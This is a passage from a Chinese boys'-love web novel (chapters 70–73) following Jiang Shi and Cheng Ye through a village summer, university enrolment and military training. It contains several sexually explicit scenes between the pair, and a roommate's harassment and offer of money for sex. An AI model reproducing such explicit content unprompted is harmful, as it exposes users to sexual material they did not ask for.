少年的嘴角往下落了一个像素点,程野忽然福至心灵,朝他道:“我只是学习,不做别的,其实那种视频看起来很恶心。” 但为了以后的性福,程野忍了。 江时嘴角翘了翘,然后又落下,“你什么意思?照你这么说,跟我做那种事也很恶心?” “怎么会?”程野理所应当,“你跟他们不一样,比他们好看,叫起来也好听,又敏感水还多……” 枕头砸在了程野脸上。 有时候江时真想往程野嘴里灌点毒药把他毒哑算了- 江时不喜欢,程野就不看,把从刘满那里拷贝过来的精华全给删了。 但他还是觉得江时不愿意跟他做是他技术问题,不看视频,他开始研究文字资料。 有时候半夜了程野还不睡,江时起夜,看见他正襟危坐的坐在电脑前,屏幕的白光照亮他深邃的脸庞,神色严肃,仿佛在看几个亿的大项目。 走近了,满屏的“嗯嗯啊啊”。 江时:“……” 很快,他就见识到了什么叫学霸的学习能力。 以往接吻的时候程野总是急不可耐,力度大得仿佛要把他吞吃入腹,可最近他变得缠绵了许多,那双能把人刮疼的手也变了,摸到哪里酥麻一片。 只是还是紧,最多三根手指江时就说撑。 程野也不着急,一点点、耐心的摸得那里越来越软,手上的动作越软,他眼底的神色就越深,织着一张名为情欲的网,将人往漩涡里拖。 被伺候得太舒服,稀里糊涂间答应了很多奇奇怪怪的要求。除了没进去以外,江时被程野的两根手指玩得透透的,像块融化的糖糕,在程野怀里天天淌着汁水。 江时感觉自己快要被榨干了。 与之相反的,程野眼底的压抑的情绪越来越深,看他的眼神越来越火热。 江时顶不住,趁程野一个不注意,扶着腰,溜回了溪柳村。 家里的房子盖了一半,工人们拿着砖头在架子上砌墙,底下全是水泥沙子。 江雪暂时住在旁边的火房里,里面传来饭菜的香味,她撩开挡门的帘子,看见站在梨树下的江时时愣了愣。 “你怎么回来了?” 江时干笑一声,“来看看你。” 很显然,家里这个样子住不了人,而且工人干活量大,江雪做的都是些油腻荤腥的菜,主打一个量大,但这些江时吃不了。 她往江时怀里塞了把钱,“这里太灰了,赶紧走,不然把你的干净衣裳弄脏了。刚好高新和这两天也回家了,拿着钱找他去街上吃。” 江时只能拎着行李去了高新和家。 他到的时候高新和正捧着个海碗蹲家门口嗦粉。 “小表哥,来吃粉啊。” 刘玉英听到声音从厨房里钻出来,“江时啊,来得正好,快来吃粉。” 江时把钱踹兜里,捧着一个比高新和小一个号的碗蹲他旁边。 高新和说:“你不是跟程哥去江城了吗,怎么回来了?” 江时咳了声,“无聊,想回来就回来了。” 他问高新和,“你不是去打工了吗?” “是啊……”高新和感叹,“都进厂干了半个月,结果被人骗了。” “啊?”江时愣了愣。 高新和很是不好意思,“去之前我爸跟我说很轻松,结果我一去,每天要干十个小时,屁股都坐麻了。后来我在那里认识了一个男生,他跟我说他要跳槽,换一个更好的厂,那边的工资是这里的两倍,而且一天只用上五个小时的班。” “我一听,顿时就感兴趣了,问他是哪里。一开始,他死活不跟我说,我求了他好久,他才愿意带我一起去。” 听到这里,江时差不多明白是怎么回事了。 高新和沮丧道:“结果他是个骗子,我差点被骗去嘎腰子。” 刘玉英站厨房里笑,“还好他不算太蠢,上车就发现不对劲,找借口说上厕所,包都不敢拿,跑回来了。” “可惜啊……”高新和叹气,“我工资还在里面呢。” 高权也在家,正在弯腰换鞋打算下地,“还念着你那点工资?人没事就是万幸,书都白读了,哪有天上掉馅饼的事?” 高新和埋着头嗦粉,不敢说话。 江时安慰他,“虽然你损失了半个月的工资,但你挽回了一个腰子。” 高新和:“……” 他道:“小表哥,你也学坏了。” 吃完了,他问江时,“怎么就你回来,程哥呢?” 提起程野,江时猝不及防地被粉呛了口,他咳了好几声,“谁知道他的,程老板忙着呢。” 话刚说完,程野的电话就到了。 江时有些心虚,不敢接。 然后高新和的电话也响了。 高新和看看手机,又看看江时,“程哥打的。” 江时啪一下按了挂断,走到没人的地方给程野回电话。 “你打给高新和干什么?” 程野慢悠悠的,“听说他被骗了,慰问一下。倒是你,挂他电话干什么?” 江时道:“不是我挂的。” “嗯,小骗子。” “……” 程野道:“一声不吭就溜的小骗子。” 江时:“我留得有字条的。” 另一头,程野摊开字条,上面写着几个大字,力道大得仿佛要把纸戳破。 ——再见了你,小爷不伺候了! 不过还算有点良心,买票用的是他的卡,几点的飞机,几点落地写得明明白白。 玩得有点太过,兔子跑了。 程野把纸条收进抽屉里,“到底是谁伺候谁?我这两天勤勤恳恳的伺候少爷,少爷爽得都翻白眼了,现在拍拍屁股走人,倒变成伺候我了?” 江时道:“你管我,有本事你追过来。” 他知道程野最近忙,所以才肆无忌惮。 程野的确忙得走不开,听着这话,也只是笑了声,“行啊,我记着了。” 他这一忙,忙到通知书到了都回不来领,还是江时给他拿的。 江时的也到了,程野说得不错,他的分数线刚刚好卡在B大的线上,他不出所料地被调剂了。 旅游管理。 他拿着本子翻来翻去,问一边的高新和,“大表弟啊,旅游管理是个什么东西?” 高新和也蹲他旁边翻自己的通知书,“小表哥啊,物流管理又是什么?” 两个管理你看看我、我看看你,沉默了。 临到开学了,程野才回来。 据说工作室又新出了一个游戏,每天在各大招商会奔波,回来时人瘦了些,也白了点。 只是身上穿的衣服还是地摊上淘回来的十块钱两件的T恤,裤子是不知道在哪里买的牛仔裤,硬邦邦的,脱下来能当棍子打人,鞋子倒换了双新的,仔细一瞧,鞋带孔还对不齐。 江时正带着个遮阳帽站在地边打算掰玉米回去煮。 他穿了件半袖衬衫,脸被闷得发红,瞅着绿油油的玉米地,又看了看田埂边有他小腿高的杂草。 他抬脚,试探着往里踩,还没踩下去,忽然被人拦腰抱了出去。 江时被吓了一跳,一回头,发现是程野。 连轴转的工作,纵然是程野也熬不住,眼底带着青黑,下巴冒出点青色胡茬,蹭着江时的脸,有些痒。 江时推开他,“早上不是还在开会吗,怎么忽然回来了?” “想见你。”程野把他手里的篮子拿过来,又把帽子扶正,抬脚跨进玉米地里。 和江时踩一步要犹豫半天相比,程野的动作很麻利,刷刷两下就把篮子掰满了。 两人拎着篮子回去,玉米还没煮上,江时就被程野带回了家。 程野不在的这段时间,他的屋子被江时打扫过。 不过很显然,江时并没有什么打扫的经验,被子叠了看起来比没叠看起来还乱,但好歹没什么灰层。 江时被压在床上亲,胡茬戳在脸上,刺得皮肤有些疼。 亲够了,程野把脸埋在他颈窝,声音带着疲倦。 “少爷,陪我睡一会。”【你现在阅读的是 】 70-80 第71章 他抱得紧,亲人又疼,江时自然不乐意。伸手去推程野,却发现对方靠在他肩上睡了过去。 江时从程野的臂弯里抬起脑袋,看着他眼底挂着的青黑,落在皮肤上的呼吸缓而沉。他顿了顿,给自己找了个舒服的姿势。 …… 程野几乎整整三天没合眼,这一觉睡得极沉,醒来时太阳已经落山。 空气里还残留烈日的余温,蝉鸣未歇,拉长着嘶哑的声音,旁边的位置已经空了,皱成一团的床单被人扯了扯,但没什么效果。 程野掀开被子下床,堂屋的玻璃窗上落了灰,外面的世界被蒙上一层朦胧光影。在斑斑点点的污浊里,穿着浅蓝色衬衫的少年像一尾灵动的鱼,端着一个盆,轻巧越过坑洼小路。 身后满月高悬,在晨与昏的交界里,朝他奔赴而来。 他站在原地没动,鱼儿跳上门口低矮台阶,吱呀一声推开陈旧木门,看见他站在里面时愣了愣。 “你醒了啊……”江时把盆放在桌子上,露出还在散发着热气的玉米,“刚出锅的玉米,快来吃。” 说着,他伸手去拿最顶上那个玉米,结果被烫得猛地缩回手。 下一秒,指尖被拢着。 “着什么急?” 江时嘶嘶哈哈的,“端了一路,我以为冷了。” 程野搓了搓腿他指尖发红的皮肉,转身找了支筷子,抓起一个玉米,手腕一动,顿时掰成两截,筷子戳进中间的芯递给江时。 江时拿着玉米,吹了吹上面的热气,看着程野拿着另外半截啃了口,“你怎么不烫?” 程野说:“我皮厚。” “……” 无法反驳。 江时问他,“来了还回去吗?” “不去了,等开学。” 其实离开学也没多少日子。 一想着愉快的假期要结束,江时可着劲的玩,而程野…… 程野在帮江时家盖房子。 工作室的第二款游戏上线,首月流水突破十万,终于迎来了质的变化。 王卓打电话给程野汇报这个好消息,“最近收到好多邀约,有的想要见你,有的想要收购我们工作室,还有的看中了游戏,想要分一杯羹……”说着他停顿一下,“老大,你那边怎么叮叮当当的?” 程野一手拿着手机,弯腰拿起一块砖,再用铲子铲起沙浆,连着干了两天,他手法已经很娴熟,一抹,一放,一压,一块砖就这样砌好了。 “在砌墙,有事今天说,明天估计会很忙。”他说。 王卓问他,“你忙什么?” “明天筑房顶。” 王卓沉默了。 电话那头,他听见一个男人的声音,“程野,水泥没有了,去扛一袋过来。” 于是程野说:“挂了,不要紧的事给我发消息。” 王卓恍恍惚惚挂掉电话。 工作室唯一的女生是美工,性格很开朗,见他挂了电话,第一个开口,“卓哥,怎么样?老板听了是不是很激动,打算给我们涨工资?” 王卓道:“老板激不激动不知道,但他好像已经在工地干得热火朝天了。” 美工:“??” 程野一口气抗了两袋水泥,太阳火辣辣的,他弯着腰搅拌水泥。 叫他扛水泥的男人拎着桶放在他旁边,抬手抹了把汗,“小伙子挺有力气,我看你砌得还不错,要不要考虑跟我干?以后有活都叫上你。” 程野铲了满满一铲子的沙浆到桶里,“不了。” 远远的,一个少年拎着个袋子走来。 看见人,程野停下手里的动作,看着他。 江时绕开乱七八糟的木板和砖头,视线和程野接触一瞬又分开,他眯着眼睛抬头朝上面的人道:“师傅们先别干了,我买了雪糕,下来吃根雪糕歇一歇。” 他挨个分发雪糕,最后一个才是程野。 工人们在大梨树下,江时和程野坐在另一边的李子树下,他把袋子里的最后一根雪糕递给程野,“给你,你的跟他们不一样,你是最贵的。” 程野接过来,看着上面的字,敛着眉笑了,“我跟他们不一样?” 本来就不一样…… 江时把脚踩在跟前摞起的砖头上,曲着身体,脸靠在膝盖上,风把头顶的李树吹得沙沙响,阳光从缝隙洒下,落在他眼皮上。 他说:“人家工人好歹还有工钱,你白给我家干这么多天的活,我可不想别人骂我妈黑心。” 少爷的嘴,金贵得很,很难从他嘴里听到一句好话。 好亲就行,别的程野不在意。 他撕开冰棍包装,“最上面那口的巧克力脆皮,少爷要吃吗?” 冰凉的味道靠在鼻尖,江时弯了弯眼睛,猫儿一样探过脖子咬住递过来的雪糕尖尖。 江雪站在门口看着这一幕,等到两人快分完一根雪糕她才开口,“吃饭了!吃饭了!” 等到新房子房顶上盖着的布揭开时,江时也开学了。 九月,江城的气温高达三十多度,阳光刺眼,柏油马路晒得烫脚,B大门口人潮涌动。 他东西不多,大部分都在出租屋里,只收拾出一个行李箱。 行李箱被程野拿着,江时手里拿着随着通知书一起发的地图。他举着地图对着学校大门比了比,“旅游管理……东边,往这里走。” 程野说:“那是西。” 江时说:“你烦不烦。” 程野不说话了。 眼尖的志愿者看见两人呼啦一下涌上来。 “学弟,哪个专业的?要去哪里?” “有行李吗?要不要帮忙?” “电话卡考虑一下……” 江时想,这个学校的人还怪热情的,直到他听到室友的吐槽。 “太倒霉了,被分到五楼,行李箱里全是我爸妈塞的土特产,重得要死,门口那么多志愿者,愣是没一个愿意帮我。” 此时的江时手里拿着冰镇饮料,地图被他当成扇子扇风,在闷热狭小的宿舍里,他干净漂亮得和周围的人格格不入。 “怎么会?我看他们挺热情的,好几个人抢着要给我拿行李。” 看着他那张脸,方脸室友的心哽了哽。他问:“那你同意了?” “没。”江时看着头上弯着腰给他铺床的程野,“有人给我拿了。” 果真是……同宿舍不同命。 方脸室友叫左回,江城本地人,他第一个到宿舍,床铺早就铺好了。别人都是家长跟着来,只有江时带着个跟他差不多大的同龄人。 他好奇道:“那是你哥吗?” 说出去都没人信,程野竟然比江时还小。这么久了,被人这么一问,江时才意识到这个问题。 他眯了眯眼睛,笑着道:“不是我哥,是我弟,他比我小。” 左回左右看了看,“看不出来,你弟还挺……”他顿了顿,委婉道:“还挺成熟。” 江时道:“没办法,这娃从小就长得比较着急。” 期间程野一直没说话,到了晚上,江时就知道什么才叫真正的“着急”。 开学报到报三天,虽然江时大一要求住校,但前面三天无人在意。 铺好床程野就把人带回出租屋。 之前在村里,人多眼杂的,江时家住不了人,程野家破得打个喷嚏都能传出好远。两人顶多就亲亲嘴,别的什么都没干。 江时倒是过得挺滋润,程野憋得不行。 一回到家他就逮着江时亲,急不可耐的把那根东西往他手里送。 “好哥哥,摸摸我。” 江时听完愣了好一会才回过神来,“不是……你在乱喊什么?” “没乱喊,不是说我是你弟吗?喊声哥哥不过分。” 江时完全没有占到便宜的感觉,反而觉得自己被调戏了。 程野顺势把手探进他宽松的裤子里。好吃好喝养了几个月,江时的脸看着虽然和从前相差不大,但的的确确是长肉的,肉都长在该长的地方。 伸着虎口轻轻一推,冻豆腐一样的雪白巍颤颤,太嫩了,掌心堆也堆不住,从指尖滑走,在指缝里盈着。 江时不能理解,程野为什么那么喜欢他的腿。掰着亲了舔了还不够,他不让他进去,就这么让他并着磨,可位置贴得太近,总会蹭到,有时候感觉跟进去了没什么区别。 床铺得很软,跪着的时候全身的受力点都在膝盖上,江时不觉得疼,但架不住皮肤养得娇,没一会就会红了,甚至连程野伸手握住的也留下了几个绯红的手指印,像晕开的胭脂。 后面跪不住,就躺在床上。 外窗是疾驰的车流,偶尔夹杂着几声叫卖,屋里温度攀升,后背贴着胸膛,气温高得像把人烫化。 江时表现得再云淡风轻,但也是个快二十的人,年轻人气血盛,有些事总会让人上瘾。 程野扣着他的肩,在后面落下好几个隐晦的印记,他气息很沉,手指湿答答的淌着水。 “四根了哥哥,我想进去……” 江时还是有点怕,他两条腿圈着都费劲,更别说是别的。可报到一过,就是长达二十天的封闭军训,这也就意味着,未来的二十天,他都见不到程野。 他没说话,程野也没说话。 外面传来一声刺耳的“滴滴”声,江时终于回神。 他蜷了蜷指尖,全身的皮肤泛着一层粉,宛如胭脂滴进水里,丝丝缕缕散开。 屋里没开灯,窗帘没关严,窄窄的缝隙溜了道光进来,人影隐隐绰绰。 黑暗里,江时转了个身,他唇瓣还带着刚刚接吻时的潮湿气息,视力不如程野,找不准地方,磕磕碰碰落在他下巴。 清清凉凉的一个吻。 像夏日清晨坠在草尖的第一颗露珠,坠在程野心底。 点燃了沉寂火山。 第72章 如果要用一个词来形容江时的心情,那就是后悔,非常的后悔。 再次醒来又是下午,窗帘依旧拉得死死的,和上回的轻微不适相比,这回是真的严重不适。 江时没到破布娃娃的地步,但很残破,全身上下没一块好的地方,就连伸出来的小臂上都印有两个玫红色的印子。 他艰难翻个身,牵扯出动静,程野就进来了。 他蹲在江时跟前,摸了摸他额头,有点烫,但好在没发烧。 “有哪里不舒服吗?” 江时哪哪都不舒服,他软着身子任由程野把他扶起来,歪头靠在他肩上,没什么力气,讲话的声音细细的。 “我感觉我被你捅穿了。” “怎么会……”程野笑了声,手掌贴着他薄薄的肚子,指尖在肚脐上方按了按,“最多只能到这里。” 江时敏感的抖了抖,肌肤相贴时,一些回忆顿时涌上脑海。 程野这段时间学了这么多,技术果然大有长进,爽是真的爽,但爽过头了,反而有点让人害怕。 他不知道江时想的这些,给人上了药,看着被搓得发粉的眼睛皮,怎么也看不够似的,捧着脸亲了又亲。 江时被亲了满脸的口水,才被抱着出门洗漱。椅子上铺了好几层厚厚的软垫,厨房里的锅咕噜噜冒着泡,不知道在炖什么。 他看了会,扶着腰问程野,“你今天没去报到吗?” 程野回他,“明天再去。” 马上就要军训,他却和程野滚到床上去,想想江时都觉得荒唐。 第二天,他扶着还有些酸的腰回到宿舍,见到除了左回以外的其他两名室友。 有位应该是个社恐,一回来就爬上床把帘子拉得死死的。另一位穿着一身的名牌,看见江时,眼睛亮了亮,上下扫了眼他,主动上前打招呼,“你好,王泽凯,隔壁市的。” 他的目光让江时有些不喜欢,但没说什么,还是伸出手和他握了下,“江时。” 江时不喜欢社交,对于没好感的人更是不想搭理,说完这两个字就转身收拾自己的东西。 他不知道去军训要带什么,好在程野之前就给他单独收拾了个包裹出来,剩下的也给他列了个清单,标注着放在什么位置。 江时对着标注一一找过去。 身后,王泽凯悄无声音靠近他,“你在找东西么?” 江时回头,险些撞在他怀里。他皱着眉头,往后退了两步,“抱歉,我不喜欢别人离我太近。” “啊抱歉……”王泽凯耸了耸肩,“我看你太专心了,怕你听不到。” 他好奇道:“你是江城本地人吗?” 江时不想搭理他,但想着以后还要住一年,多一事不如少一事。 “不是,林城。” “看不出来。”王泽凯意义不明的笑了声,“林城离这里挺远的吧?我看你第一天就把床铺好了,人却不在宿舍睡,这两天去哪里了?” 江时扭头看他,“你好像对我的私生活很感兴趣?” 少年冷眼看人的时候,眉目更加鲜活,一举一动里,带着连他自己也不知道的风情。像是熟透的桃,被人捏破了汁水。 说完后,江时转身不再搭理他。 王泽凯站在他身后,看着少年的脖颈蜿蜒着细腻的白,在领口下面,一个让人几乎不会注意到的地方,落着几点还没消退的红痕,明晃晃的彰示着归属权。 他挑着眉露出一个暧昧的笑容。 …… 军训的地点在山里,统一坐大巴车分批次前往,虽然是封闭的,但学校没丧心病狂到把手机也给收了。 江时他们班只有他们宿舍四个男生,一上车全是女孩子们叽叽喳喳的声音,宛如进入女儿国。 左回坐他身边,左看看右看看,满脸兴奋,“我靠,好多美女,这么多女生,我脱单是不是有望了?” 换了床,江时没睡好,靠在椅子上恹恹的打了个哈欠,“祝你如愿。” 左回有点羞涩,“就你前面第二排的女生,眼睛大大的那个,她好可爱,我……” 他话还没说完,更加嘈杂的声音涌进来。 王泽凯不知道买了什么,几个大袋子放在大巴车面前。他声音很大,很轻松就传进车里。 “大家以后就是四年的同学了,我买了点零食给大家路上吃,希望不要嫌弃。” 人群里顿时响起欢呼声。 有几个女生下去解开袋子,“哇!它家的零食好贵的,王泽凯你好有实力。” 王泽凯撩了撩精心打理的头发,“我平时也是吃它家的,觉得味道还可以,没那么多添加剂,所以就带来给你们尝尝。” 车里,左回撇了撇嘴,“死装男。” 说完他又叹气,“不过谁叫人家有实力呢,你看他穿的那身,都是牌子货,少说也要上万了。昨天你没来之前跟他聊了会,好像家里面是做生意的,有点小钱。” 江时对这些都不感兴趣,从包里翻出一顶帽子盖上,“我睡一会,到地方叫下我。” 他还没来得及睡,王泽凯上车了。他双手插兜,身后跟着两个热心肠的女生在给大家分零食,他走到江时面前,垂眼看着少年长而密的眼睫。 “江时同学,你喜欢吃什么?作为室友,给你一份特殊优待。” 其实江时一上车就吸引了很多人的注意,他不笑的时候五官很冷,也没见他怎么说话,看着很有距离感,没人敢上前跟他搭话。 见王泽凯主动跟他说话,很多双眼睛隐晦地瞥过来。 江时拉下帽檐,挡住大半的脸,形状好看的唇掀了掀,吐出两个没什么感情的字。 “不要。” 王泽凯脸上的笑僵了下。随即,他又露出一个笑,“是不喜欢吗?还是觉得便宜了?” 本来睡不好就烦,还有个人跟苍蝇一样嗡嗡嗡的,江时的脸更臭了。 “不想要,你分给别人吧。” 说罢,也不管其他人怎么想,彻底拉着帽子盖住脸,缩在椅子上闭上眼睛。 左回连忙出来打圆场,“他昨天没睡好,估计有起床气,他不要给我,我还没吃过这么高级的零食呢。” 王泽凯脸上的笑淡了几分,目光在江时身上停留了会,收回时瞥了眼他身边的左回,眼里流露出一丝不易察觉的嫌弃。 “没关系,想吃多少拿多少。” 车里很嘈杂,江时睡得也不是很安稳,下车时头比上车时还要疼。 集训营的宿舍比学校的差很多,十个人一间,还是那种大通铺,他们班只有四个男生,只能跟二班的男生住一起。 左回跑得快,抢到了靠墙的两个位置,他看了看江时,主动问他,“要不你睡最里面那个位置?” 反正他家兄弟多,习惯了一堆人睡一起,但江时看着就跟他不一样。 江时闻着空气里发霉发潮的味道闷闷咳了两声,没拒绝左回的好意。 “谢谢。” 被褥是学校统一发的,还没去领,江时跟前只有薄薄的一层床板,他把行李放在床板上,刚拉开拉链,手机就响了。 是程野的电话。 江时拿着手机去了外边。宿舍楼外除了几块空旷的训练场地,四周都是高耸入云的山,学生的到来打破山的寂静,飞鸟从树梢掠过。 “到了?” 江时找了个台阶坐下,“刚刚到。” 程野说:“往旁边看。” 江时愣了愣,朝旁边看去,离他不远的地方有个围墙,大约两米高,一般人翻不上去,而程野却撑着手跳上围墙。 他蹲在墙头,在江时诧异的目光里,挑眉露出一个笑,像条敏捷的狼,从高高的墙头跃下。 他走到江时身边拉起他,“别坐地上,脏。” 江时好半晌才回过神,“不是……你怎么在这里?” “隔壁也有个训练营,我们学校在那里。被子领了吗?” “刚到,还没来得及。” “我去拿……”程野伸手往怀里摸,摸出几包肉脯和辣条,“马上要过苦日子了,给少爷吃点甜头。” 江时跟在他后面朝领被子的地方走去,“下车的时候不是都搜查过了吗?你哪里来的零食?” “偷偷藏的,就这几包,吃完就没了。” 江时撕开肉脯的包装,张嘴咬住,“那你是怎么知道我在这里的?” 程野来得早,早就领了军训的衣服,下面换成迷彩服,上面是黑色半袖,下摆扎进裤腰里,肩宽腿长,很是惹眼。 “我只是随便找了个隐蔽的地方墙翻过来,没想到运气好,刚好在你们宿舍门口。” 阳光刺眼,周遭人来人往的,空气里浮动着尘土的味道,看着程野宽阔的背,江时觉得二十天的军训好像也没这么难捱了。 小少爷做家务的能力几乎为零,程野领了被子还得给他铺上,铺到一半左回回来了。 他手里也抱着被子,看见程野时还愣了愣,“你弟怎么也在这?” 江时道:“他是隔壁A大的,也在这里军训,隔了一道墙。” 只要程野想,他能跟任何人打好关系,才不到几分钟,左回就满脸笑容的跟他认了兄弟。 “原来你们是一个村的啊,我还以为你们是亲兄弟呢,这长得也太不像了。” 程野又不知道跟他说了什么,两人交换了联系方式,左回拍着胸脯保证,“你放心,我肯定把江时照顾好,我们都是一个宿舍的,说不什么也不会让他受委屈。” 正说着,门口吵吵闹闹进来一群人。 为首的正是王泽凯,身后跟着好几个人。看见江时旁边站着个没见过的陌生人时他愣了下,收敛住眼底的表情,露出一个算得上是友好的笑容。 “江时,你朋友么?” 一靠近王泽凯,江时就有种不舒服的感觉,这种感觉他之前在很多人身上遇到过。 他没搭理他。 左回主动介绍,“他啊,江时的朋友,一个地方的。” “原来是老乡……”王泽凯友好地朝程野伸出手,“你好,王泽凯,江时的室友,不过他好像不是很喜欢我。” 程野眯了眯眼睛,看着伸在跟前的手几秒,伸出手,语气平淡。 “程野。” 第73章 两人的目光在空中交汇,空气有一瞬的凝滞。 “集合了!集合了!” 尖锐的哨声在宿舍楼门口响起,程野松开手,握手的那只手收拢成拳,用另一只手拍了拍江时,“去吧,我有空来看你。” 军训生涯正式拉开帷幕。 这一届的运气不好,未来的十多天都是大晴天,温度高达三十多度。 从那天后,江时和程野就没见过面,主要是又忙又累,吃饭跟打战一样,连打电话的时间都没有,更别说见面。 江时每天累到回到宿舍连根手指都不想动,被程野养了那么多天的肉又没了,和周围黑了一个度的人相比,他皮肤还是白,只是红了点。 食堂的饭堪比猪食,哪怕江时再累再饿,对着那些难吃的饭菜依旧下不了口。 他吃得少,身体肯定会出问题。 免疫力下降,最先出现的就是过敏,手臂上蔓延着大片的红,江时没跟程野说,去校医那里开了点药,一开始还能压制,到后面吃药也不管用。 他只能每天晚上躲在被子里偷偷挠。 直到某个烈日灼灼的下午,他站军姿的时候倒了下去。 人再醒来时已经在校医院躺着,手上挂着点滴,跟前站着穿白大褂的医生,见他醒了,医生转身,递了瓶藿香正气水给他。 “醒了啊,把这个喝了。” 江时接过,先是低头闻了闻,嫌弃的皱起眉头,问医生,“谁送我来的?” “你同学,见没什么事,我又让他们回去了。” “不是我说,年轻人撑不住就说,该请假就请假,非得强撑那口气干什么?” 江时没说话,撑着床坐起来,皱着鼻子把药喝了下去。他捏着瓶子,手上很痒,没忍住蹭了蹭。 医生说:“别挠了,只会越挠越痒。” 口腔里的味道太冲,江时咳了好几声,“我又过敏了吗?” “过敏?”医生给他换了瓶新点滴,“你这个比一般的过敏严重多了,过敏性寻麻疹知道吗?” 他说着,弯腰撩开江时的手,伸着指尖往他洁白的手臂上轻轻刮了下。几乎是一瞬间,他手臂上浮现出一层淡白色的斑块。 “看到没,你越挠,斑块就越多,那才叫生不如死。” 江时愣了愣,“怎么会?之前没有的……” “这东西说病也不是病,是免疫力低造成的,你这段时间吃不好、睡不好,再加上体质比较弱,就得了这么个病。这个也治不好,瘙痒的话我给你开点药能止住,至于其它的,只能靠你回去慢慢养了。” 江时沉默了会,“好,我知道了。” “你这样子,已经不太适合再接着训了,我给你开个病例,到时候给你导员。” 医生又让江时吃了点抗过敏的药,看着他眼底的倦色,把帘子拉上,让他好好睡个觉。 和宿舍里的嘈杂不同,医务室里很安静,只有墙上挂着的时钟在嘀嗒嘀嗒的响。 江时翻了个身,伸手摸了摸,才发现手机被他放在宿舍的枕头底下。 他攥紧被角,合上眼,明明是大热的天,额头却被闷出一层薄薄的冷汗。 军训以来,其实江时睡得都不怎么好。宿舍人太多了,打呼磨牙不说,很多男生本来就不爱干净,一累起来更不会收拾,他的床在最里面,天一热,味道全闷了过来,滋味自然不好受。 睡不着,吃不好,久而久之免疫力自然就下降了。 但这种事情怪不得别人,要怪也只能怪他事多难伺候。 江时没跟谁说,直到今天进了医院。 其实他有点想借校医的手机给程野打个电话,但想想还是放弃了,歪头靠在枕头上迷迷糊糊睡了过去。 再醒来是被吵闹声吵醒的,白天的训练结束,学生们去吃饭,晚霞从窗沿溜进来,地上橙黄斑驳。 左回掀开帘子进来,见他睁眼松了口气,“你白天吓死我了,现在感觉怎么样?” “我……”江时一张嘴,声音沙哑得不行,左回连忙倒了杯水给他。 手上的吊针不知道什么时候被人拔了,手背上留下青紫一片,江时坐着喝了半杯水才开口,“你送我来的?” “还有我们班的几个男生。”左回坐在椅子上,打开手里的袋子,“食堂的饭已经不能用猪食来形容,那简直就是潲水,知道你吃不习惯,这是我们班女生给你凑出来的。” 袋子里放着一小袋皱皱巴巴的零食,有面包,有巧克力,还有几包辣条。 左回把袋子递给江时,“最后的口粮了,省着点吃。” 江时捧着那些一看不知道藏了多久的零食有些愣怔,“怎么会给我?” “我也不知道啊……”左回眼酸的靠了一声。 要知道,现在军训都过半了,零食这种东西简直比金子还贵。他平时在班里没少干活,甜言蜜语也没少输出,江时话也不爱说,对人也爱答不理的,结果一生病,竟让人白白送了他这么多。 “她们说,让你好好养身体,怕你不好意思,所以没来看你。” 江时不懂她们的善意从何而来,但并不妨碍他为这份善意而感动,“替我谢谢她们。” 左回来得着急,连晚饭都没来得急吃,见江时没什么事后顿时安心了很多,叮嘱了他几句就去食堂抢猪食了。 校医进来,看见他膝盖上的零食没说什么,他把药放在旁边的柜子上,“晚上记得吃药。” 江时撕开了袋面包。 才咬了第一口,帘子又被掀开了。 他抬头,王泽凯站在门口朝他露出一个笑。 “江时,早上你晕过去可把我吓得不轻,现在看来你恢复得差不多了吧?” 江时嘴里的面包顿时不香了,“你来干什么?” “这么冷淡干什么?我可是好心来看看你……” 王泽凯走进来,坐在左回刚刚坐的位置,打开手里拎着的保温桶,顿时,诱人的香气飘散在狭小的病床边。 “知道你生病了,吃不了油腻荤腥,特地给你带了排骨。”他拿着勺子搅了搅,舀起一块小排,味道和食堂里的一个天一个地。 江时垂着眼不看他,咬了口手里的面包,“拿走你的东西,我不要。” “啧啧啧……”王泽凯摇头看着他,“都这样了,江时你还耍脾气呢?我又不要你干什么,只是单纯的给你送吃的,免费的都不要吗?” 江时没说话,态度很明显。 王泽凯脸上的笑顿时就淡了下来,他把勺子丢进保温桶,小排落下,溅起水花。 他拖着椅子靠近江时,目光如同一条阴毒的蛇,“从一开学我就注意到你了,江时,你是同类吧?” 他这话说得莫名其妙的,江时朝他看去。 王泽凯道:“我不会看错,你跟我一样,是个同性恋对不对?那天我在你后背看见吻痕了,是谁留下的?男朋友?还是一夜情的对象?” 就这么被他说出来,江时的脸白了白,手指不自觉攥紧,“你在说什么,我听不懂。” “听不懂?”王泽凯笑了声,“还在跟我装傻呢,你男朋友是谁?不会是那天在宿舍里给你铺床的傻大个吧?不愧是林城那种穷地方来的,找的人也粗鄙不……” “讲够了没?”江时打断他的话,“我是什么性取向跟你有关系?我找谁跟你又有什么关系?对别人的隐私这么感兴趣,你爸妈没教过你分寸怎么写吗?” 接二连三被冷脸下面子,王泽凯的脸色也不是很好看,可他看着江时那张脸,觉得受点气也不算什么。 “你放心,我不是来拆散你们的。看你的样子,还没接触过其他人吧?你没经历过,所以才觉得那是爱情,可两个男的有个狗屁的爱情,大家到最后都要结婚生子的。” “我们圈子很开放的……”他凑近江时,“江时,你很好看,是我见过最好看的人。” 他语气里带着几分痴迷,“我也不要你们分手,我调查过了,你家并没有很有钱,跟我睡一晚吧,我给你这个数,反正我们都是男的,不会怀孕,你男朋友也不会知呃……” 江时不知道什么时候翻身爬了起来,手指抓着王泽凯的头发,看着他的目光很尖锐。 他身上还带着病气,唇色也很苍白,可脊背挺直如一柄利剑。手指生得细长,力道却很大,拽得王泽凯仰着头,迎着他冰冷的目光。 “接着说,你要跟我干什么?” 王泽凯痛得眼里涌出生理性泪水,他仰头喘了口气,“江时,我说的是实话。你这么漂亮,迟早会被人惦记上,那你还不如跟了我,我很温柔,会对你好的。” 霞光落在江时漂亮到近乎冷艳的眉眼上,他牵动嘴角,毫不留情地把王泽凯的头往铁做的床沿上磕。 嘭的一声响,王泽凯痛得卷缩起来。他没想到江时真敢揍他,几秒后才反应过来伸手往脑门上摸,没出血,但肿起一个大包。 江时松开手,“我警告你,这是第一次,也是最后一次,以后嘴巴再不干净,我拔了你的牙。” 王泽凯充其量也不过是个绣花枕头,家里有点钱之后就忘了自己姓什么。他看江时身子单薄瘦弱,再加上那张比女生还好看的脸,自然不会想到他会揍人,顶多就是骂上两句而已。 美人的辱骂,在某些时候,只会让男人肾上腺素飙升。 但动手就不一样了…… 外面,学生的喧哗声渐渐弱了下去,王泽凯来的时候就知道,医生已经吃饭去了。 这几天江时瘦得厉害,衣服下面的身子空荡荡的,如果忽略他刚刚抓着头发的劲,此刻看起来,单薄又瘦弱。 王泽凯爬起来,“我呸,装什么清高,高中才刚毕业,就被人干过了,装什么黄花大闺女。” 